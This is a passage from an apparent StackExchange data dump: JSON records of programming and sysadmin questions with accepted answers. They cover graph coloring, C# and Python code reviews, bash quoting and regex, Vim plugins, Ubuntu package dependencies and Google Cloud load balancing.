on every iteration add one more vertices from $G$ to $G'$. In paralel, we should maintain the assignment of already colored vertices. Unfortunately, I still don't get the idea completely. Would appreciate for help and hints. "  , "title": "Graph 3-colorability is self-reducible"  , "tags": "complexity theory;reductions"  , "accepted_answer": "As Vor mentions in his comment, your reduction doesn't work, since 3-colorability doesn't accept partial assignments of colors. The problem goes even deeper, since setting the color of a single vertex doesn't make any progress in determining whether the graph is 3-colorable: indeed, the graph is 3-colorable iff there is a 3-coloring in which vertex $v$ is assigned color $c$, for any $v,c$ you choose.Here is a hint on how to solve your exercise, second part. In any 3-coloring of a graph $G$ on more than three vertices, there are two vertices $x,y$ getting the same color (why?). If we merge $x$ and $y$, the resulting graph is still 3-colorable (why?). Try to use this idea to construct a downward self-reducing algorithm for 3-colorability.Edit: And here is a hint on how to solve the exercise, first part. Consider any two unconnected vertices $x,y$. If there is a coloring in which they get the same color then $G_{xy}$ is 3-colorable (why?), and a coloring of $G$ can be extracted from a coloring of $G_{xy}$ (how?). When will this process stop?"  } 
{  "id": "_codereview.141940"  , "question": "I'm trying to find a simple, clean and fast way to implement an XML config file in C# without any 3rd party tools. It also should replace this restricted System.Configuration.ConfigurationManager.using System;using System.IO;[Serializable]public class MyConfigFile{    // Static Members    public static readonly string ConfigFilename = myConfig.config;    public static readonly string ConfigFullFilename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments), ConfigFilename);    // Singlton    private static MyConfigFile _myConfig;    public static MyConfigFile Instance    {        get        {            if (_myConfig == null)            {                if (!File.Exists(ConfigFullFilename))                {                    _myConfig = new MyConfigFile();                    Save();                }                else                {                    _myConfig = Load();                }            }            return _myConfig;        }    }    // Constructor    public MyConfigFile()    {        Version = 1;        ValueA = Important Value;        ValueB = DateTime.Now;        ValueC = false;    }    // Properties    public int Version { get; set; }    public string ValueA { get; set; }    public DateTime ValueB { get; set; }    public bool ValueC { get; set; }    // Static Methodes    public static void Save()    {        System.Xml.Serialization.XmlSerializer xs = new System.Xml.Serialization.XmlSerializer(_myConfig.GetType());        StreamWriter writer = File.CreateText(ConfigFullFilename);        xs.Serialize(writer, _myConfig);        writer.Flush();        writer.Close();    }    public static MyConfigFile Load()    {        System.Xml.Serialization.XmlSerializer xs = new System.Xml.Serialization.XmlSerializer(typeof(MyConfigFile));        StreamReader reader = File.OpenText(ConfigFullFilename);        var c = (MyConfigFile)xs.Deserialize(reader);        reader.Close();        return c;    }}This code works fine, but I wonder if you can improve it or have any better ideas."  , "title": "C# XML Config File"  , "tags": "c#;reinventing the wheel;xml;configuration"  , "accepted_answer": "CodeThe StreamReader/StreamWriter in the methods Load and Save should be disposed in a finally block (or better by creating them in a using). Otherwise, the object is not disposed if the serialization/deserialization fails.The method Load does not check if the file exists. If it doesn't, an exception will be thrown. Probably it is enough to make that method private because it is not a required part of the API.Is there any reason for the My prefix? If not, just ConfigFile sounds better to me.Consider to use a more application specific path. For Example SpecialFolders.ApplicationData[CompanyName][Application] for user-specific data or CommonApplicationData[CompanyName][Application] for program-specific data.APIThe path of the config file is defined within the class. That has some disadvantages (central configuration is not possible, the class can not be tested by unit tests, the class is not reusable, ...). Therefore, consider to pass the path as constructor argument instead and do not use the singleton pattern.Consider to rename the Instance property to 'Default' or something like that.The methods Save/Load can not be static if the class lost its singleton status -  but that should not be a problem."  } 
{  "id": "_webmaster.13011"  , "question": "Early last year I implemented several new and unique features on Neocamera and most have been copied by DPReview.They announced the latest one this morning. It is called 'My Short List' there while on Neocamera, it is called 'Camera Bag' which I explained in a blog post last September. They had a vague announcement in March for the previously copied features, which I had also since last September, basically search engines for cameras and lenses by features or specifications.It is obvious that those are the same features but they are presented differently. So this is not a case of design or style being copied, only the capabilities. Once you look at them, you see that there is an uncanny overlap in functionality.Can something be done about it? In case it matters, my site is based in Canada while theirs is registered in the UK. It belongs to Amazon, not sure which corporate entity."  , "title": "What to do about features of a website copied by another bigger one?"  , "tags": "website features;copyright;copy"  , "accepted_answer": "A Drupal view with exposed filters can be used to create something like those feature searches with almost no actual code being written. While these features are certainly convenient, they are not particularly unique. Your sites are in competition. You're going to steal ideas from each other. The actual problem is doing things better.Unless you can prove they somehow stole actual, proprietary code, or you have some sort of trademark or patent like Amazon's on one-click shopping, I doubt you have any case at all. "  } 
{  "id": "_codereview.164491"  , "question": "I wanted to extend concurrent.futures.Executor to make the map method non-blocking. It seems to work fine, but I would be very interested in feedback about the general approach, implementation, and code quality. The entire thing is on Github, but below is all the important code:Usage example:import timefrom itertools import count, islicefrom streamexecutors import StreamThreadPoolExecutordef produce():    for i in range(100):        time.sleep(0.02)        yield idef square(x):    time.sleep(0.1)    return x ** 2def print10(iterable):    print(list(islice(iterable, 10)))squares = StreamThreadPoolExecutor().map(square, produce())print10(squares)And the implementation:import timefrom queue import Queuefrom concurrent.futures import Executor, ThreadPoolExecutor, ProcessPoolExecutorfrom concurrent.futures.process import _get_chunks, _process_chunkfrom functools import partialimport sysimport threadingimport itertoolsclass CancelledError(Exception):    passclass StreamExecutor(Executor):    def map(self, fn, *iterables, timeout=None, chunksize=1, buffer_size=10000):        Returns an iterator equivalent to map(fn, iter).        Args:            fn: A callable that will take as many arguments as there are                passed iterables.            timeout: The maximum number of seconds to wait. If None, then there                is no limit on the wait time.            chunksize: The size of the chunks the iterable will be broken into                before being passed to a child process. This argument is only                used by ProcessPoolExecutor; it is ignored by                ThreadPoolExecutor.            buffer_size: The maximum number of input items that may be                stored at once; default is a small buffer; 0 for no limit. The                drawback of using a large buffer is the possibility of wasted                computation and memory (in case not all input is needed), as                well as higher peak memory usage.        Returns:            An iterator equivalent to: map(func, *iterables) but the calls may            be evaluated out-of-order.        Raises:            TimeoutError: If the entire result iterator could not be generated                before the given timeout.            Exception: If fn(*args) raises for any values.                if not callable(fn):            raise TypeError('fn argument must be a callable')        if timeout is None:            end_time = None        else:            end_time = timeout + time.time()        if buffer_size is None:            buffer_size = -1        elif buffer_size <= 0:            raise ValueError('buffer_size must be a positive number')        iterators = [iter(iterable) for iterable in iterables]        # Set to True to gracefully terminate all producers        cancel = False        # Deadlocks on the two queues are avoided using the following rule.        # The writer guarantees to place a sentinel value into the buffer        # before exiting, and to write nothing after that; the reader        # guarantees to read the queue until it encounters a sentinel value        # and to stop reading after that. Any value of type BaseException is        # treated as a sentinel.        future_buffer = Queue(maxsize=buffer_size)        # This function will run in a separate thread.        def consume_inputs():            while True:                if cancel:                    future_buffer.put(CancelledError())                    return                try:                    args = [next(iterator) for iterator in iterators]                except BaseException as e:                    # StopIteration represents exhausted input; any other                    # exception is due to an error in the input generator. We                    # forward the exception downstream so it can be raised                    # when client iterates through the result of map.                    future_buffer.put(e)                    return                try:                    future = self.submit(fn, *args)                except BaseException as e:                    # E.g., RuntimeError from shut down executor.                    # Forward the new exception downstream.                    future_buffer.put(e)                    return                future_buffer.put(future)        # This function will run in the main thread.        def produce_results():            def cleanup():                nonlocal cancel                cancel = True                while True:                    future = future_buffer.get()                    if isinstance(future, BaseException):                        break                    else:                        future.cancel()                raise exc            # Ensure cleanup happens even if client never starts this generator.            try:                yield None            except GeneratorExit as exc:                cleanup()            while True:                future = future_buffer.get()                if isinstance(future, BaseException):                    # Reraise upstream exceptions at the map call site.                    raise future                if end_time is None:                    remaining_timeout = None                else:                    remaining_timeout = end_time - time.time()                # Reraise new exceptions (errors in the callable fn, TimeOut,                # GeneratorExit) at map call site, but also cancel upstream.                try:                    yield future.result(remaining_timeout)                except BaseException as exc:                    cleanup()        thread = threading.Thread(target=consume_inputs)        thread.start()        result = produce_results()        # Consume the dummy `None` result        next(result)        return resultclass StreamThreadPoolExecutor(StreamExecutor, ThreadPoolExecutor): ...class StreamProcessPoolExecutor(StreamExecutor, ProcessPoolExecutor):    def map(self, fn, *iterables, timeout=None, chunksize=1, buffer_size=10000):        if buffer_size is not None:            buffer_size //= max(1, chunksize)        if chunksize < 1:            raise ValueError(chunksize must be >= 1.)        results = super().map(partial(_process_chunk, fn),                              _get_chunks(*iterables, chunksize=chunksize),                              timeout=timeout, buffer_size=buffer_size)        return itertools.chain.from_iterable(results)Update:I failed to fix an issue of the process hanging in some cases of main thread termination. I had to rewrite this code somewhat to ping the main thread to check if it's alive. Not sure if I should copy the updated version from Github to this post, since it might end up being too many edits. I guess I'll leave the original code, since I'm still interested to see if it's good: I prefer my original approach to the periodic ping."  , "title": "Implementing non-blocking Executor.map"  , "tags": "python;multithreading;concurrency"  } 
{  "id": "_softwareengineering.234106"  , "question": "Consider the following situation:One hardware device, two applications (1 C# application, 1 Firmware).The C# application sends frames to the firmware and the firmware executes scripts.C# -> transmit frame[x] FW -> receive frame[x] FW -> execute script relating to frame[x] FW   -> before finished, a FW event is triggeredforcing moving parts to stop (safety precaution).C# requirement after such events are raised:Poll FW for status, if status == stopped, send a resume fame.Caveat: the C# logic therefore needs to adjust itself to being restarted.So this is the situation I have; but what I'm seeking advice with is how I should design a class which can handle the pausing and restarting of tasks an unlimited number of times.While I can write convoluted methods which are hard to maintain through a chain of logical statements, I'm struggling with finding a design which is reusable and clean.Such scenarios are true for ~50 unique tasks,  so finding a solution I can apply everytime would save a lot of headache. Anytime a script is restarted or resumed, a physical user can easily cause a safety trigger stop, therefore a solution needs to be robust.While I'm sure recursion would be a first good step, I'm worried that the stack limits has the potential to introduce errors.Clarification:In my bid to simplify things, I seem to have omitted too much. Apologies.Firmware:Software running on a physical device which controls the hardware. I have no control over this code-base and it was designed independently while allowing USB communication.Synchronization:There is very little or no synchronization between the C# application and the firmware. My C# code will send a frame of bytes which match up to a specification document for the firmware, and if the frame is valid, the firmware will reply saying it received the frame and will begin the work. After that, there is no direct synchronization. A task described by a frame typically has two attributes: the time it takes to execute (need to manually observe) and an end target status (complete with status identifiers). Currently I poll the firmware for the status until the target status is reached or until time-out.Recursion:What I meant by that was (if not complete -> callSelfAgain())Pause: User has done something to the device, wait here until they fix (can happen at ANY time during the time the firmware is running its jobs).Restart: The user has amended the state, now start the job from the beginning (or where we left off [task dependent])."  , "title": "Designing software functions which are both pausable and restartable"  , "tags": "c#;design;object oriented design;recursion;embedded systems"  , "accepted_answer": "I think your best bet is to design the system as a state machine. The idea is that you have objects symbolizing each discrete step of the process, including any state data that has accumulated so far, and by pointing to the subtask currently being executed you can reconstruct the execution from that point.However, I've just remembered that there is a C# mechanism that actually works in this exact manner and also fulfills all of your requirements. Although they weren't made for this purpose, you can implement the design using iterators.They already support pausing execution at arbitrary points, and also support restarting it any number of items as the need arises. They don't actually have to return a value, but they can, and that's a bonus.public class Unit {    private Unit() {    }}public class StateMachine {    public IEnumerable<Unit> Run(int input) {        int working = input + 1;        yield return null; //stop execution        //restarting... we still have all the working state data!        working *= input;        //more work...        yield return null; //stop work        //restart...        if (IsError()) {            throw new Exception();        }        if (IsOverPrematurely()) {            yield break;        }    }}(I might be misunderstanding whether or not your question requires a return value, though.)"  } 
{  "id": "_codereview.13820"  , "question": "I am writing an API wrapper and the endpoint takes dates in a very specific format.The user of the API can pass in the parameters in whatever format they prefer, but regardless of what they pass in, I want to be able to clean up their input prior to submitting their query.My question centers around the best way to update the options hash in place, and I have thought of a few possible ways to implement.A helper method inside the class so you can overwrite options = reformat_hash(options)A singleton on that specific variabledef options.clean_up!  # see internals belowendOr open up Hash and do the cleaning from the classclass Hash  def clean_hash!    self.each { |key, value|      if value.is_a? Date        self[key] = value.strftime('%Y-%m-%d %H:%M:%S')      else        self[key] = value.to_s      end    }  endendso that I can just call it on whatever the variable may be named like:def api_request(options={})  options.clean_hash!  # the options variable is now clean and I can pass it to the api  HHTParty.get(path, :query => options).parsed_responseendIs there a best practice for modifying or formatting hashes after they're passed into a method?I feel like #3 is the neatest, but should I be worried about opening up Hash to do this?"  , "title": "Reformatting a method options hash"  , "tags": "ruby"  , "accepted_answer": "Here, while it may look nice, the method clean_hash is not general enough to be valid across all Hashes. So adding a method such as clean_hash to all Hashes would only serve to increase the coupling which is bad. A second problem is that you are mutating your method argument which is almost never advisable.The  solution is to define the clean method outside, perhaps as a part of your internal API object and call HHTParty.get(path, :query => clean(options)).parsed_response.I would also define the clean method this waydef clean(opt)  Hash[opt.collect{|k,v| [k,v.is_a? Date : v.strftime('%Y-%m-%d %H:%m:%S'):v.to_s ]}]end"  } 
{  "id": "_unix.140730"  , "question": "We all know we can use tree to get a nicely formatted text visualization of the structure of a directory; say:$ tree -spugD /usr/include/boost/accumulators/numeric//usr/include/boost/accumulators/numeric/ [drwxr-xr-x root     root            4096 Dec 19  2011]  detail  [-rw-r--r-- root     root            2681 Oct 21  2010]  function1.hpp  [-rw-r--r-- root     root             406 Oct 21  2010]  function2.hpp  [-rw-r--r-- root     root             409 Oct 21  2010]  function3.hpp  [-rw-r--r-- root     root             409 Oct 21  2010]  function4.hpp  [-rw-r--r-- root     root            6725 Oct 21  2010]  function_n.hpp  [-rw-r--r-- root     root             530 Oct 21  2010]  pod_singleton.hpp [drwxr-xr-x root     root            4096 Dec 19  2011]  functional  [-rw-r--r-- root     root            2316 Oct 21  2010]  complex.hpp  [-rw-r--r-- root     root           16627 Oct 21  2010]  valarray.hpp  [-rw-r--r-- root     root           12219 Oct 21  2010]  vector.hpp [-rw-r--r-- root     root            9473 Oct 21  2010]  functional_fwd.hpp [-rw-r--r-- root     root           21312 Oct 21  2010]  functional.hpp2 directories, 11 filesWhat I would want, is the reverse of this - given a text file with the contents as above save in dirstruct.txt, I could write something like this (pseudo):$ reverse-tree dirstruct.txt -o /media/destpath... and so, /media/destpath directory would be created if it doesn't exist, and inside I would get detail subfolder with files function1.hpp, etc; as per the tree above. Of course, I can always do a copy cp -a and get the same; the idea here would be, that I could change filenames, directory names, sizes, permissions and timestamps in the textfile - and have that reconstructed in the output structure. For files, I first thought I'd be happy with them just being touched (that is, 0 bytes in size) - but it's probably better that the size is reconstructed too - by filling either 0x00 or random bytes, up to the requested size. Primary use of this would be actually to post questions :) - some of those rely on a directory structure, say from a program I have installed; but the program in itself is irrelevant to the question; then instead of targetting answerers that may happen to have the program installed, I could simply ask a question in respect to an anonymized directory tree, which they themselves could quickly reconstruct on their machines, simply by pasting the tree text description in the post. So - is there a straightforward way to achieve this?"  , "title": "The reverse of `tree` - reconstruct file and directory structure from text file contents?"  , "tags": "files;text processing;scripting;tree"  } 
{  "id": "_codereview.85225"  , "question": "The problem is adding two lists as numbers L1 = [1,9,9] and  L2 = [0,9,9]:?- sum([1,9,9],[0,9,9], Lo).  Lo = [2,9,8]But I also wanted to add this:?- sum([8,1,9],[1,8,2],Lo).Lo = [1, 0, 0, 1].I used the backtracking method I've learned:link([],L,L).link([Head|Tale],L2,L3):- link(Tale,L2,L), L3=[Head|L].inve([],[]):-!.inve([X|Xs],L):- inve(Xs,L2), link(L2,[X],L).sum(L1,L2,L3):- inve(L1,LI1),inve(L2,LI2), sumID(LI1,LI2,L), inve(L,[Li|LIs]),                     Li > 9, Li2 is Li-10 , L3 = [1,Li2|LIs] ,!.sum(L1,L2,L3):- inve(L1,LI1),inve(L2,LI2), sumID(LI1,LI2,L), inve(L,L3),!.sumID([],[],[]):- !.sumID([X|[Xs|Xss]],[Y|Ys],[L|Ls] ):- XY is X+Y , XY > 9 , Head is XY - 10,                                  L = Head, Xs1 is Xs + 1,                              sumID([Xs1|Xss], Ys, LTail) ,Ls = LTail,!.sumID([X|Xs],[Y|Ys],[L|Ls]):- L is X+Y, sumID(Xs,Ys,LTail),                           Ls = LTail.A friend told me to invest list and add from *Left to Right*, and later invest the final list. How can I improve this solution in order not to be so long? I'd appreciate a better idea to solve this problem, too. I made it in more than 2 hours and in the exam this is supposed to be in 20min."  , "title": "Adding elements in two lists as numbers"  , "tags": "beginner;backtracking;prolog"  } 
{  "id": "_vi.4710"  , "question": "I was trying to revamp the vim editor so I installed NeoBundle but I didn't like it. How can I uninstall it completely?I followed the installation instructions given in the readme:$ curl https://raw.githubusercontent.com/Shougo/neobundle.vim/master/bin/install.sh > install.sh`$ sh ./install.sh`Should I just erase the lines in the .vimrc file?"  , "title": "How to uninstall NeoBundle in OS X?"  , "tags": "vimrc;macos;installing"  } 
{  "id": "_webmaster.69257"  , "question": "According Google Webmaster Tools, my site, www.yomkippurshoes.com is being indexed. However, when I try to find it in results (e.g. type site:yomkippurshoes.com in Google), I don't see it in the results. This isn't an SEO issue as I'm not concerned about the ranking (yet).  I'm just not sure why it isn't being shown in the results at all. According to this article, Google will  not show the results if the site is down. However, mine isn't down.Any thoughts on the disparity?"  , "title": "My site is indexed, but not showing up in results"  , "tags": "google search;google index;search results"  } 
{  "id": "_vi.7346"  , "question": "I know that it is possible: I googled it some time ago, but now I can't find the solution.What do I need add to .vimrc to resize my current active window in full height automatically after window changing?"  , "title": "Automatically resize the active window to maximum height"  , "tags": "vimrc;vim windows;autocmd"  } 
{  "id": "_cstheory.5045"  , "question": "Fry's theorem says that a simple planar graph can be drawn without crossings so that each edge is a straight line segment. My question is whether there is an analogous theorem for graphs of bounded crossing number.  Specifically, can we say that a simple graph with crossing number k can be drawn so that there are k crossings in the drawing and so that each edge is a curve of degree at most f(k) for some function f?EDIT: As David Eppstein remarks, it is readily seen that Fry's theorem implies a drawing of a graph with crossing number k so that each edge is a polygonal chain with at most k bends.  I'm still curious though whether each edge can be drawn with bounded degree curves.  Hsien-Chih Chang points out that f(k) = 1 if k is 0, 1, 2, 3, and f(k) > 1 otherwise."  , "title": "Drawing graphs of bounded crossing number"  , "tags": "graph theory;co.combinatorics;planar graphs"  , "accepted_answer": "If a graph has bounded crossing number it can be drawn with that number of crossings in the polyline model (i.e. each edge is a polygonal chain, much more common in the graph drawing literature than bounded-degree algebraic curves) with a bounded number of bends per edge. It's also true more generally if there is a bounded number of crossings per edge. To see this, just planarize the graph (replace each crossing by a vertex) and then apply Fry.Now, to use this to answer your actual question, what you need to do is to find an algebraic curve that is arbitrarily close to a given polyline, with degree bounded by a function of the number of polyline bends. This can also be done, fairly easily. For instance: for each segment $s_i$ of the polyline, let $e_i$ be an ellipse with high eccentricity that is very close to $s_i$, and let $p_i$ be a quadratic polynomial that is positive outside $e_i$ and negative inside $e_i$. Let your overall polynomial take the form $p=\\epsilon-\\prod_i p_i$ where $\\epsilon$ is a small positive real number. Then one component of the curve $p=0$ will lie a little outside the union of the ellipses and can be used to substitute for the polyline; its degree will be twice the number of ellipses, which is linear in the number of crossings per edge."  } 
{  "id": "_unix.338629"  , "question": "In bash, when I write this linenew_line=new\\nlineI get this as expected:echo $new_linenew\\nlineAnd this also works as expected:echo -e $new_line newlineas it says in a manual: -e     enable interpretation of backslash escapesHowever, this doesn't give me an interpreted \\n new line character:cur_log=$(who)echo -e $cur_logmyuser pts/0 2017-01-19 07:10 (:0) myuser pts/1 2017-01-19 09:26 (:0) myuser pts/4 2017-01-19 09:14 (:0)I thought that there is no new line character but if I write:echo $cur_logI get new line character interpreted. myuser  pts/0        2017-01-19 07:10 (:0)myuser  pts/1        2017-01-19 09:26 (:0)myuser  pts/4        2017-01-19 09:14 (:0)Why doesn't echo -e $cur_log interpret new line character but `echo -e $new_line does?"  , "title": "Why doesn't echo -e interpret a new line?"  , "tags": "bash;newlines"  , "accepted_answer": "The reason is in your first variable (new_line), there is only an escape sequence (i.e. \\n = backslash followed by n) which is passed unchanged to echo, while in the second one (cur_log), there are actual newlines which are stripped out by the shell being part of the IFS variable.A new line is, under Unix/Linux, a single character which ASCII code is 10 (line-feed). When a file containing this character is displayed on screen, it is converted into two characters, carriage-return plus line feed (CR-LF), 10 + 13. When an editor like gedit is opens such a file, it stores each line separately. Linefeed is only used to detect the separation between two contiguous lines. \\n is made of two characters, ASCII 92 + 110. If you edit a file containing occurrences of \\n these two characters will be left unchanged and displayed as is, unlike real newlines."  } 
{  "id": "_unix.147843"  , "question": "In my script on my ubuntu machine I declare a string like this:DEBUG_PACKAGE_LIST=$(apt-cache search dbg | awk '{ print $1 }' | grep -e -dbg)For you to help you understand my problem here is the output ofecho $DEBUG_PACKAGE_LIST >> debugThe followingif [[ ! $DEBUG_PACKAGE_LIST =~ [^-a-z0-9]libmagick++5-dbg[a-z]* ]]; then    echo no contained; fiechos not contained, despite $DEBUG_PACKAGE_LIST contains the string libmagick++5-dbgsym. Could you help me understand why?Basically my intention is to match libmagick++5-dbg, wheras, libmagick should only be preceeded by a space character."  , "title": "bash: regular expressions in if expression"  , "tags": "bash;regular expression;distros;test"  , "accepted_answer": "In bash 3.2 or above:shopt -u compat31[[ ! $DEBUG_PACKAGE_LIST =~ [^-[:alnum:]]'libmagick++5-dbg' ]];In bash 3.1:[[ ! $DEBUG_PACKAGE_LIST =~ '[^-[:alnum:]]libmagick\\+\\+5-dbg' ]];(note that [a-z]* is redundant since it also matches the empty string so will always match).Works in both:re='[^-[:alnum:]]libmagick\\+\\+5-dbg'[[ ! $DEBUG_PACKAGE_LIST =~ $re ]]"  } 
{  "id": "_codereview.73561"  , "question": "These are questions from an interview:Reverse a stringFind matching anagrams in a word listusing System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;namespace ConsoleApplication2{public class ReverseString{    public ReverseString()    {        string str = Gilad;        string res = Reverse(str);        List<string> wordsList = new List<string>();        wordsList.Add(batel);                    wordsList.Add(Gilad);        wordsList.Add(daliG);        wordsList.Add(enon);        wordsList.Add(none);        wordsList.Add(letab);        var pairs = PairAnagramWords(wordsList);    }    public string Reverse(string str)    {        StringBuilder s = new StringBuilder();        for (int i = str.Length - 1; i >= 0; i--)        {             s.Append(str[i]);        }        return s.ToString();    }    Dictionary<string, string> PairAnagramWords(List<string> wordsList)    {        wordsList.Sort();        Dictionary<string, string> res = new Dictionary<string, string>();        foreach (var item in wordsList)        {            if (res.ContainsValue(item))            {                continue;            }            foreach (var item2 in wordsList)            {                if (item == item2 || item.Length != item2.Length)                {                    continue;                }                var reversed = Reverse(item2);                int i;                for (i = 0; i < item.Length; i++)                {                    if (item[i] != reversed[i])                    {                        break;                    }                }                if (i == item.Length)                {                    res.Add(item, item2);                }            }        }        return res;    }}}I don't like the fact that I'm doing it in \\$ O(n^2) \\$, although I am checking for no repetitions.Please review my code's complexity and algorithm. I did the testing inside the constructor just for convenience, although I usually will use unit tests."  , "title": "String reverse and pairing reversed words"  , "tags": "c#;algorithm;interview questions"  , "accepted_answer": "Please find my (language agnostic) suggestions below :String reversal: Use the same string variable and swap i and (len-i-1) characters? -> O(n/2).Your program caters to str == reverse(str) and not anagrams in general, i.egilad == dalig is checked but not gilad == gliad / gladi / ladig / glaid ,etcAnagram finder: Here are the multiple ways to do it:A hash function on each String which generates a unique number for string with same letters. Could be a unique prime mapping to each character and H(S) = P1 * p2 * ... => H(gilad) = P(g) * p(i) * P(l) * P(a) * P(d)Sort each string, Sort the array and traverse to find anagrams.{gilad,glaid,bat,tac,act,tab}= {adgil, adgil ,abt, act, act, abt} // Sort each string= {abt,abt,act,act, adgil, adgil}   // Sort the array.= Traverse to know the anagrams.Use Trie to store sorted strings. Each traversal of the string will point to its anagram i.e Once gilad => adgil is added to the trie, addition of glaid = adgil will point to its early existence and hence its anagram.Use a HashMap to store the sorted string and you would easily find the anagrams."  } 
{  "id": "_webmaster.85637"  , "question": "I am experimenting with Google Cloud. I was trying to test a VM Instance and Network Load Balancing. Here's what i did:Created an Instance Template => Instance Group => 1 VM Instance (say VM1) under the group.Uploaded all my files on VM1. Can access all the files using VM1 IP Address.Setup Load Balancing (say LB) on Instance Group.Sent huge traffic to LB and it created another VM Instance (say VM2) to handle the load After the traffic was brought down, LB detected that and decided to delete one VM Instance.Deleted VM1 and now i have only VM2 with no files (originally uploaded to VM1).Am i getting the whole point of Cloud Computing wrong? How can i keep accessing all the files on the server even when Instances are deleted automatically by LB?"  , "title": "Google Cloud Instance Deletes Files When used with Network Load Balancer"  , "tags": "virtualhost;cloud;storage"  } 
{  "id": "_webapps.79222"  , "question": "I'm trying to create a calculation based on the Yes/No toggle field where Yes would add a cost to a Calculated total at the bottom. I understand in general how to do calculations with checkboxes, but what is the code to use for the calculation to identify the toggle field in a section?"  , "title": "Calculations in Cognito Forms based on Yes/No checkbox"  , "tags": "cognito forms"  } 
{  "id": "_unix.335354"  , "question": "We are very low on entropy (HTTPS apache server, Ubuntu 12.04, not a VM, HW: using a Lenovo ThinkCentre M58): root@server:~# cat /proc/sys/kernel/random/entropy_avail417root@server:~# Question: could this affect the performance of our HTTPS server? or OpenSSH?"  , "title": "Can having low entropy cause an HTTPS server to be slower?"  , "tags": "random;https"  } 
{  "id": "_unix.12157"  , "question": "I am using Ubuntu 9.10 - the Karmic Koala - released in October 2009 I downloaded mysql-workbench-gpl-5.2.33b-1ubu1004-i386.deb from hereBut when I run this package it show me following error:Error: Dependency is not satisfiable: libatk1.0-0 (>= 1.29.3)I am new to ubuntu. I have tried many packages but unable to install MySQL Workbench. How can I install it on my ubuntu...Thanks"  , "title": "Install MySQL workbench on ubuntu"  , "tags": "ubuntu;install;package management;mysql"  , "accepted_answer": "The simple answer is to either upgrade libatk or find an older version of MySQL Workbench.  Sometimes there are newer packages in the backports repository, but I checked karmic-backports in Ubuntu's Package Repository and a newer version has not been backported.  Ubuntu 10.04+ does have a newer version of libatk that's compatible with MySQL Workbench.  You could try installing on 9.10 ignoring dependencies and hope it works anyways.dpkg --ignore-depends=libatk1.0 -i mysql-workbench-gpl-5.2.33b-1ubu1004-i386.debThe only other option is to download the source from 10.04 Maverick and recompile it on Karmic.  Get the source from http://packages.ubuntu.com/source/maverick/atk1.0.  You will need the .dsc, .diff.gz, and .tar.gz file from that page.wget 'http://archive.ubuntu.com/ubuntu/pool/main/a/atk1.0/atk1.0_1.32.0-0ubuntu1.dsc'wget 'http://archive.ubuntu.com/ubuntu/pool/main/a/atk1.0/atk1.0_1.32.0.orig.tar.gz'wget 'http://archive.ubuntu.com/ubuntu/pool/main/a/atk1.0/atk1.0_1.32.0-0ubuntu1.diff.gzsudo apt-get install dpkg-devdpkg-source -x atk1.0_1.32.0-0ubuntu1.dsccd atk1.0-1.32.0dpkg-buildpackageOnce it's done building, you will have a number of .deb files in the parent directory.  You will need to install any over what's already installed."  } 
{  "id": "_unix.163909"  , "question": "I just installed Cygwin a few days ago. Now when I want to explore it, I can't run KDE-Openbox. I haven't tried anything else, except compiling Mplayer which did work.Last time I had Cygwin installed and I posted a question here about not being able to run programs in it, I deleted the question after getting no answers. I thought I had figured it out: Norton 360 was finding viruses on every install and is set to remove it automatically. I learned that this is common, and the fix was to disable Norton antivirus protection while unpacking the archives, then enable it again and scan after the install. I thought this would then be the reason for Cygwin never working, but maybe that's not the case.I installed all Cygwin packages, and didn't have Norton remove any packages while installing.I started KDE-Openbox from the Windows start menu. I'm assuming KDE-Openbox starts its own X server. I've tried both with X server already running and without."  , "title": "KDE-Openbox closes immediately after it opens on Cygwin"  , "tags": "windows;kde;openbox;cygwin"  } 
{  "id": "_cstheory.8335"  , "question": "Background: The motivation for this question is two-fold. First, I would like to get some hard facts to better understand the ongoing conferences vs. journals debate. Second, if this information was somewhere available, I could make a more informed decision when submitting papers for review; I would be happy to favour journals whose editors do a good job at selecting and shepherding referees.Question: Are there any TCS journals that have consistently fast reviewing?The rules:I am not looking for any anecdotal evidence; I would like to see hard facts, such as according to our statistics, during the last 3 years, 98% of our submissions were reviewed in at most 4 months.Only time from the initial submission to the first decision counts. I do not care how long it takes to actually print a physical journal; it is beyond our control anyway.A journal that is just a series of conference proceedings does not count. We all know that conference reviewing is quick.Open-access on-line journals are perfectly fine.(And if a journal is so questionable that you would be embarrassed if your name was somehow associated with it, let's skip it entirely.)"  , "title": "Journals with quick reviewing"  , "tags": "soft question;research practice;paper review;journals"  } 
{  "id": "_webmaster.92306"  , "question": "I have around 20 websites on 20 sub-domains , all are using same Google analytics tracking code for tracking hits.One of the site i.e. sub-domain is getting lots of hits, i would like to know more about that sub-domain only. and that site only. .e.g. bounce rate of that site, avg. page-views., avg. time spent on that sub-domain.How can i know something like that ?i have already added Filter in Google Analytics to show sub-domains too in the reports.e.g.Filter Name : Add whole domainFilter Type : AdvancedField A -> Extract A : Hostname (.*)Field B -> Extract B : Reuest URI (.*)Output To -> Constructor : $A1$B1"  , "title": "How can i find out which subdomain is bringing majority of traffic in Google Analytics"  , "tags": "tracking;subdomain;google analytics"  } 
{  "id": "_unix.101252"  , "question": "I will get value like 2743410360.320 and I want value like 2743410360 to a variable.I tried INTValueOfGB=$ echo ($gb+0.5)/1 | bcBut I am getting   (standard_in) 1: syntax error"  , "title": "How to round or convert a float value to int with bc? getting: (standard_in) 1: syntax error"  , "tags": "shell script;variable;conversion;bc;floating point"  } 
{  "id": "_unix.77615"  , "question": "I'm trying to upgrade from Mint 13 to Mint 15, but receive the following error:Calculating upgrade... FailedThe following packages have unmet dependencies: mate-media : Depends: mate-media-gstreamer but it is not going to be installed or                       mate-media-pulse but it is not going to be installedE: Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.It seems that mate-media-gstreamer and mate-media-pulse conflict with each other. Could someone help with this?"  , "title": "Apt-get dist-upgrade fails"  , "tags": "linux mint;apt;upgrade;mate"  } 
